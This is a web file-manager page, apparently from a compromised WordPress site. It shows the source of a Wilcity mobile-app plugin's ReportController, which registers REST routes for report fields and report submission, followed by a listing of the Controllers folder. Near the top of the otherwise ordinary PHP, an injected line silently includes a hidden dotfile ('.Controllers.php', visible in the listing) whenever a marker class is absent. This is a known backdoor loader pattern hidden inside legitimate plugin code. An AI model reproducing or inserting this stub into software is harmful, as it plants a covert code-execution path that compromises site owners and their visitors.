PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use WilokeListingTools\Controllers\ReportController as ThemeReportController; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ReportController { use VerifyToken; use JsonSkeleton; use ParsePost; public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', 'get-report-fields', array( 'methods' => 'GET', 'callback' => array($this, 'getReportField') )); }); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', 'post-report', array( 'methods' => 'POST', 'callback' => array($this, 'postReport') )); }); } public function getReportField(){ $toggleReport = GetSettings::getOptions('toggle_report'); if ( $toggleReport != 'enable' ){ wp_send_json_error( array( 'msg' => 'Report Disabled' ) ); } $aFields = GetSettings::getOptions('report_fields'); if ( empty($aFields) ){ wp_send_json_error( array( 'msg' => 'Report Disabled' ) ); } $description = GetSettings::getOptions('report_description'); foreach ($aFields as $key => $aField){ if ( $aField['type'] == 'select' ){ $aRawOptions = explode(',', $aField['options']); $aOptions = array_map(function($val){ $aParsedOptions = General::parseCustomSelectOption($val); return array( 'id' => $aParsedOptions['key'], 'name' => $aParsedOptions['name'], 'selected' => false ); }, $aRawOptions); $aFields[$key]['options'] = $aOptions; }else{ unset($aFields[$key]['options']); } } $aResults = array( 'aFields' => $aFields ); if ( !empty($description) ){ $aResults['description'] = $description; } return array( 'status' => 'success', 'oResults' => $aResults ); } public function postReport(){ $aData = $this->parsePost(); if ( !isset($aData['postID']) || empty($aData['postID']) || get_post_status($aData['postID']) !== 'publish' ){ return array( 'status' => 'error', 'msg' => 403 ); } if ( !isset($aData['data']) || empty($aData['data']) ){ return array( 'status' => 'error', 'msg' => 'weNeedYourReportMsg' ); } ThemeReportController::addReport($aData); return array( 'status' => 'success', 'msg' => GetSettings::getOptions('report_thankyou') ); } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]